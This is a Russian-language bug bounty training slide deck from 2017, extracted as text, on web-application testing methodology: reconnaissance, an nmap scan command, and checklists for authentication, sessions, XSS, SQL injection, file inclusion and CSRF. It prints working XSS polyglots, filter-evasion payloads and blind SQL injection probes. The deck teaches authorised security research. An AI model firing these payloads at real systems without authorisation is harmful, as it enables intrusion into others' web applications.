Similar presentations:
Bugbounty. Оптимизируем и упрощаем ваши исследования
1. Bugbounty.
Оптимизируем и упрощаем ваши исследования.2.
Ермаков КонстантинСистемный аналитик
компании «Перспективный мониторинг»
[email protected]
Telegram: https://t.me/BackdoorBatman
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
2
3. О чем пойдет разговор?
1. Методы и подходы к тестированию2. Сбор информации.
3. Построение карты веб-приложения
4. Аутентификация и сессия
5. XSS
6. SQL injection
7. File inclusion & Uploads
8. CSRF
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
3
4. Методы и подходы к тестированию
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
4
5. Основные виды bugbounty программ.
Single-sourced1. Поиск часто-встречающихся
уязвимостей.
2. Отсутствует соревновательная
часть.
3. Количество > качество.
4. Гарантированный доход и
беспристрастный анализ
отчетов.
27.07.2017
Crowdsourced
1. Гонка со временем.
2. Соревнование с остальными
исследователями.
3. Принуждает искать
уникальные нетипичные баги.
4. Доход в основном зависит от
критичности уязвимостей.
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
5
6. Литература по базовым методологиям
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
6
7. Сбор информации.
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
7
8. Ищите нехоженые тропы
1. Тщательно исследуйте scope вашей багбаунти программы.2. *.target.com – один из ваших основных источников.
3. Поиск поддоменов возможен через google. (Есть варианты автоматизации)
4. Исследуйте изменения функциональности веб-приложения и редизайны.
5. Мобильные версии.
6. Мобильные приложения. (Трафик с сервером)
7. Иногда полезно расширить диапазон поиска на материнские компании.
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
8
9. Скрипт поиска поддоменов. (enumall.py)
Работает на основе:1. Поисковых движков (google, yahoo, bing, baidu)
2. OSINT сайты (shodan, netcraft)
3. Брутфорс поддоменов на основании популярных списков.
https://github.com/jhaddix/domain/
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
9
10. Пример работы
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
10
11. Принцип работы
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
11
12. Принцип работы
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
12
13. https://www.facebook.com/notes/phwd/facebook-bug-bounties/707217202701640
https://www.facebook.com/notes/phwd/facebook-bugbounties/70721720270164027.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
13
14. Сканирование портов
Сканирование портов нужно не только для сетевоготестирования!
Полное порт-сканирование обнаруженных вами редко
используемых серверов обычно приведет к интересным
результатам:
1.
Незадокументированные возможности веб-приложения.
2.
Внутренние сервисы.
3.
На facebook сервере была Jenkins script консоль без
авторизации.
4.
На IIS.net был открыт RDP порт с уязвимостью ms12-020
nmap –sS –A –PN -p- --script=http-title target.com
Syn сканирование, фингерпринтинг ОС и сервисов, без пингов,
все порты, выводит http заголовки корневых страниц.
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
14
15. Построение карты веб-приложения
Построениекарты вебприложения
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
15
16. Полезные тулзы.
1. Google2. Идентификаторы платформ:
I. Wapplyzer (Chrome)
II. Builtwith (Chrome)
3. Умные приложения для брута директорий:
I. RAFT lists
II. SVN Digger
III. Git Digger
4. Auxiliary:
I.
II.
27.07.2017
WPScan
CMSmap
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
16
17. Порядок работы с обычными брутфорс-приложениями
Порядок работы с обычными брутфорсприложениями1. Определение актуальных списков для вашего веб-приложения
2. Анализ и корректировка подкаталогов на основании получаемых статус-кодов
HTTP
ПРИМЕР:
GET http://www.target.com – 200
GET http://www.target.com/logs/ – 404
GET http://www.target.com/adminpanel/ – 401 **Стоит рассмотреть ближе*
GET http://www.target.com/adminpanel/ Продолжаем брутфорс отсюда.
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
17
18. Использование открытых источников.
1. Xssed.com2. Reddit XSS раньше, сейчас reddit netsec
reddit.com/r/netsec
3. www.openbugbounty.org
4. Поиск по твиттеру
5. Фиды телеграма.
6. И т.д.
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
18
19. Аутентификация и сессия
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
19
20. Аутентификация
1. Отсутствует проверка на одинаковый логин\пароль2. Отсутствие капчи на страницах регистрации
3. Отсутствие капчи на страницах логина
4. Отсутствие капчи на страницах восстановления
пароля
5. Учетная запись не блокируется по количеству
неверных попыток
6. Слабая парольная политика
7. Изменение персональных данных не требует
повторного ввода пароля
8. Многоразовые токены на сброс пароля или
отсутствие ограничения на время действия токена
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
20
21. Сессия
1. Неспособность аннулировать старыефайлы cookie
2. Нет создаются новые cookie при входе /
выходе из системы / таймауте
3. Cookie не ограниченные по времени
актуальности
4. Разрешено несколько одновременных
сеансов
5. Легко обратимый шифр cookie (base64
чаще всего) или его отсутствие
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
21
22. XSS
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
22
23. XSS
Основная идея – Содержит ли страницадинамический контент? Можете ли вы
изменять эти данные?
Если исследования сильно ограничены по времени – то действует правило 80\20.
Многие исследователи используют так называемые полиглот-шаблоны, который
позволяют значительно уменьшить время тестирования. Основной минус таких
шаблонов – большая длинна вредоносного кода.
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
23
24. Ultimate XSS polyglot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/-!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
24
25. Шаблон для поиска обхода фильтраций
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)
><script>prompt(1)</script>@gmail.com<isindex
formaction=javascript:alert(/XSS/) type=submit>'-->"
></script><script>alert(1)</script>"><img/id="confirm(
1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http:
//i.imgur.com/P8mL8.jpg">
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
25
26. Короткий шаблон для поиска инъекций
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
26
27. На что стоит обращать внимание?
1. Кастомизируемые темы и возможность загрузки css стилей2. URI based
3. Импорт данный из других веб-приложений или систем (интеграция с соц. сетями)
4. JSON API (проверяйте какой content type приходит в ответе)
5. Имена загружаемых файлов
6. Загрузка файлов (swf, HTML, ++)
7. Страницы об ошибках
8. Случайные параметры - ?realparam=1&foo=bar’+alert(/XSS/)+’
9. Формы логина, регистрации, восстановления пароля
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
27
28. SWF XSS
Потенциально уязвимые параметры:onload
Movieplayer
xmlPath
Eventhandler
callback
Строки для тестирования:
• \%22})))}catch(e){alert(document.domain);}//
• "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
• "a")(({type:"ready"}));}catch(e){alert(1)}//
http://blog.watchfire.com/FPI.pdf
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
28
29. SWF XSS
https://github.com/cure53/Flashbang27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
29
30. SQLi
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
30
31. SQL injection
Основная идея – Содержит ли страница данные, которые могут подгружаться избазы?
Полиглот для проверки переменных на SQLi:
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
31
32. SQL injection
Так же можно использовать различные списки для фаззинга, например от Seclists:https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
32
33. SQLi на что стоит обратить внимание?
Часто уязвимые параметры:1. ID
2. Цены
3. Количество элементов
4. Параметры сортировки (по возрастанию и
т.д.)
5. Cookie
Большинство SQL инъекций будет blind типа, шансы что сейчас вы увидите sqlerror в
обратном ответе довольно мала. Шаблоны для проверки blind SQLi:
• ‘%2Bbenchmark(3200,SHA1(1))%2B’
• ‘+BENCHMARK(40000000,SHA1(1337))+’
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
33
34. Ресурсы по SQLi
• http://pentestmonkey.net/category/cheat-sheet/sql-injection - Хорошие списки длятестирования на разные базы данных.
• https://www.owasp.org/index.php/SQL_Injection - Полноценный гайд по
тестированию на SQLi
• http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html - Список пейлодов для MS
Access
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
34
35. File inclusion & Uploads
File inclusion &Uploads
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
35
36. Доступ к локальным файлам (LFI)
Основная идея – Работает ли страница с файлами на сервере?Часто уязвимые парамерты:
https://github.com/danielmiessler/SecLists/blob
/master/Fuzzing/JHADDIX_LFI.txt
file=
location=
local=
path=
display=
load=
read=
retrieve=
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
36
37. Загрузка вредоносных файлов.
Это важный функционал для каждого вебприложения. Загружаемые файлы должныпроходить через множество проверок, чтобы
считаться безопасными.
Некоторые из векторов атак:
• Загрузка недопустимых типов файлов для
получения исполнения кода на стороне вебприложения (swf, php, html и т.д.)
• Атаки на парсеры файлов через метаданные и
заголовки
• Обход политики безопасности и размещение
вирусов на стороне сервера.
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
37
38. Включение сторонних файлов (RFI)
Основная идея – Передаются ли в каких-либо параметрах адреса на другие ресуры?Потенциальные параметры из LFI так же попадают под тестирование.
Специфические для RFI параметры:
dest=
continue=
redirect=
url= (or anything with “url” in it)
uri= (same as above)
window=
next=
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
38
39. CSRF
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
39
40. CSRF
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
40
41. CSRF
27.07.2017ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
41
42. CSRF
Основная идея – Все ли запросы от веб-приложения, изменяющие какие-либосистемные настройки или параметры, защищены уникальными токенами?
Специфические для RFI параметры:
dest=
continue=
redirect=
url= (or anything with “url” in it)
uri= (same as above)
window=
next=
Потенциально уязвимые функции:
Изменение пароля
Удаление файла\страницы\пользователя
Перевод денег
Изменение данных пользователя
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
42
43. Спасибо за внимание!
Ермаков КонстантинСистемный аналитик
компании «Перспективный мониторинг»
[email protected]
Telegram: https://t.me/BackdoorBatman
27.07.2017
ПЕРСПЕКТИВНЫЙ МОНИТОРИНГ
43